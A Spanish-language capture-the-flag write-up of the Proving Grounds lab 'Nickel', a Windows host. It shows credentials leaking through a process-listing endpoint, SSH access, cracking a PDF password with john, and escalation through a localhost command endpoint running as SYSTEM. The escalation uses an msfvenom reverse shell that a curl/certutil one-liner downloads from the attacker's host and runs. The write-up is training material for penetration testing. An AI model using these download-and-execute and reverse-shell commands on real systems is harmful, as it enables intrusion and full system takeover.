the_open_door
café
ESEN

Nickel

Proving Grounds PracticeMediaWindows192.168.195.99

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#http-endpoint#information-disclosure#process-command-line#base64#ftp#pdf-cracking#john#localhost-endpoint#certutil#oscp
TL;DR. Nickel expone un panel DevOps Dashboard cuyo código fuente delata tres endpoints en el puerto 33333. Uno de ellos, list-running-procs, contestado con un POST, filtra la línea de comandos de un proceso con credenciales en base64 (filtración por endpoint). Decodificadas (NowiseSloopTheory139), abren SSH como ariah. Por FTP bajamos un PDF protegido; lo crackeamos con john (ariah4168) (crackeo de PDF protegido) y dentro descubrimos un endpoint de comandos solo accesible desde localhost que corre como SYSTEM. Lo invocamos con curl para descargar y ejecutar un binario (inyección de comandos) y obtenemos SYSTEM.

Reconocimiento

Escaneo inicial

TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido completo saca muchos puertos; los que importan:

ping -c 1 192.168.195.99
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.195.99
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
8089/tcp  open  http
33333/tcp open  http
nmap -p21,22,135,139,445,3389,8089,33333 -sCV 192.168.195.99 -oN targetedScan
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           FileZilla ftpd 0.9.60 beta
22/tcp    open  ssh           OpenSSH for_Windows_8.1 (protocol 2.0)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
8089/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
33333/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

FTP, SSH, los servicios Windows típicos y dos HTTP raros (8089 y 33333) servidos por HTTPAPI (el stack HTTP.sys de Windows, no un IIS al uso). Ahí está el interés.

HTTP - TCP 8089

El puerto 8089 sirve un DevOps Dashboard con tres botones: List Current Deployments, List Running Processes y List Active Nodes.

DevOps Dashboard en el puerto 8089 con tres botones

El código fuente revela que cada botón es un formulario que apunta al puerto 33333, a tres endpoints distintos:

Código fuente: formularios hacia :33333/list-current-deployments, /list-running-procs y /list-active-nodes

<form action='http://.../33333/list-current-deployments' method='GET'>
<form action='http://.../33333/list-running-procs' method='GET'>
<form action='http://.../33333/list-active-nodes' method='GET'>

Explotación

Filtración de credenciales por el endpoint list-running-procs

El endpoint interesante es list-running-procs: lista procesos, y un proceso puede llevar credenciales en su línea de comandos. Un GET no vale ("Cannot GET"), y un POST a secas devuelve un HTTP 411 (falta Content-Length). Añadiendo la cabecera, el endpoint responde y vuelca la lista de procesos (filtración por endpoint):

curl http://192.168.195.99:33333/list-running-procs
curl -X POST http://192.168.195.99:33333/list-running-procs
curl -X POST http://192.168.195.99:33333/list-running-procs -H 'Content-Length: 10'
name        : cmd.exe
commandline : cmd.exe C:\windows\system32\DevTasks.exe --deploy C:\work\dev.yaml
              --user ariah -p "Tm93aXNlU2xvb3BUaGVvcnkxMzkK" --server nickel-dev --protocol ssh

Un proceso arranca DevTasks.exe pasando --user ariah -p "...". La contraseña está en base64:

echo -n 'Tm93aXNlU2xvb3BUaGVvcnkxMzkK' | base64 -d
NowiseSloopTheory139

SSH como ariah

Esas credenciales abren la sesión SSH:

ssh ariah@192.168.195.99

Local

type Desktop\local.txt && whoami && ipconfig && hostname

local.txt leída como nickel\ariah

7879c22996c242a0fc2d854dc6117012
nickel\ariah

Post-explotación

FTP: un PDF protegido con contraseña

El mismo par de credenciales vale para el FTP, donde espera un único fichero, Infrastructure.pdf:

ftp 192.168.195.99
# get Infrastructure.pdf

Al abrirlo, pide contraseña:

Infrastructure.pdf pide contraseña al abrirlo

Infrastructure.pdf
Password required
This document is password protected. Please enter a password.
[                    ]   [ Submit ]

Crackeo del PDF

Extraemos el hash del PDF con pdf2john y lo rompemos con john y rockyou (crackeo de PDF protegido):

pdf2john Infrastructure.pdf > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
ariah4168        (Infrastructure.pdf)

Con la contraseña ariah4168 el PDF se abre y contiene unas Infrastructure Notes. La línea clave:

El PDF revela un Temporary Command endpoint: http://nickel/?

Temporary Command endpoint: http://nickel/?
Backup system: http://nickel-backup/backup
NAS: http://corp-nas/files

Escalada de privilegios

Endpoint de comandos en localhost como SYSTEM

Ese Command endpoint (http://nickel/?) no aparecía en el escaneo externo: escucha solo en localhost. Ya tenemos sesión SSH, así que lo consultamos desde dentro. La sintaxis es http://localhost/?<comando>, y responde una dev-api. Un whoami confirma que corre como nt authority\system:

curl localhost/?whoami

curl localhost/?whoami devuelve dev-api ... nt authority\system

ariah@NICKEL C:\Users\ariah>curl localhost/nickel/?whoami
<!doctype html><html><body>Incorrect Parameter</body></html>
ariah@NICKEL C:\Users\ariah>curl localhost/?whoami
<!doctype html><html><body>dev-api started at 2025-12-07T05:30:22
        <pre>nt authority\system
</pre>
</body></html>

Con ejecución como SYSTEM, usamos certutil para descargar un reverse shell y ejecutarlo (inyección de comandos). La URL se pasa URL-encoded como parámetro:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.174 LPORT=445 -f exe -o rev.exe
python3 -m http.server 8080

Levantamos Penelope, que recibirá la conexión en el 445:

penelope
(Penelope)> listeners add -p 445
curl localhost/?certutil.exe%20-f%20-urlcache%20-split%20http://192.168.45.174:8080/rev.exe%20C:\Windows\Temp\rev.exe;C:\Windows\Temp\rev.exe

Secuencia completa: msfvenom genera rev.exe, http.server sirve los GET, el curl con certutil lo descarga y ejecuta, y Penelope recibe la shell de NICKEL como nt authority system

ariah@NICKEL C:\Users\ariah>curl localhost/?certutil.exe%20-f%20...
<!doctype html><html><body>dev-api started at 2025-12-07T05:30:22
        <pre>****  Online  ****
  0000  ...
  1e00
CertUtil: -URLCache command completed successfully.
</pre>

192.168.195.99 - - [21/Jan/2026 20:16:51] "GET /rev.exe HTTP/1.1" 200 -

(Penelope)> listeners add -p 445
[+] Got reverse shell from NICKEL~192.168.195.99-Microsoft_Windows_10_Pro-x64-based_PC  Assigned SessionID <1>
C:\Windows\system32>whoami
nt authority\system

El certutil descarga y ejecuta el rev.exe en la misma petición (el ; encadena los dos comandos), y Penelope recibe la conexión de vuelta ya como nt authority\system.

Root (Proof)

type proof.txt && whoami && ipconfig && hostname

proof.txt leída como nt authority\system en nickel

22de94aa84a68f6f2505a8d2c1a316e2
nt authority\system

Cadena de ataque

HTTP (8089)  --  DevOps Dashboard -> endpoints en :33333
        │  POST list-running-procs (Content-Length) -> proc con creds base64
        │  base64 -d -> NowiseSloopTheory139
        ▼
ariah (SSH)  (local.txt)
        │  FTP -> Infrastructure.pdf protegido
        │  pdf2john + john -> ariah4168 -> PDF revela endpoint localhost
        │  curl localhost/?<cmd>  (dev-api = SYSTEM)
        │  certutil descarga y ejecuta rev.exe
        ▼
nt authority\system  (proof.txt)

Lecciones aprendidas

  • El código fuente delata la API oculta. El dashboard del 8089 no hacía nada por sí solo; su HTML apuntaba a los endpoints reales del 33333. Leer el fuente ahorra el fuzzing a ciegas.
  • Las líneas de comandos de procesos son un almacén de secretos. Pasar -p "<pass>" a un binario deja la credencial visible para cualquiera que pueda listar procesos, y aquí un endpoint lo servía en bandeja. El base64 no es cifrado, solo codificación.
  • Un PDF protegido es un hash crackeable. pdf2john + john convierte "documento con contraseña" en un problema de diccionario, y aquí la contraseña estaba en rockyou.
  • Un servicio que solo escucha en localhost no es seguro por ello. El command endpoint corría como SYSTEM y confiaba en el origen local; en cuanto tuvimos una shell, esa confianza se volvió una escalada directa.
Cheatsheet de comandos 11 comandos

Repaso rápido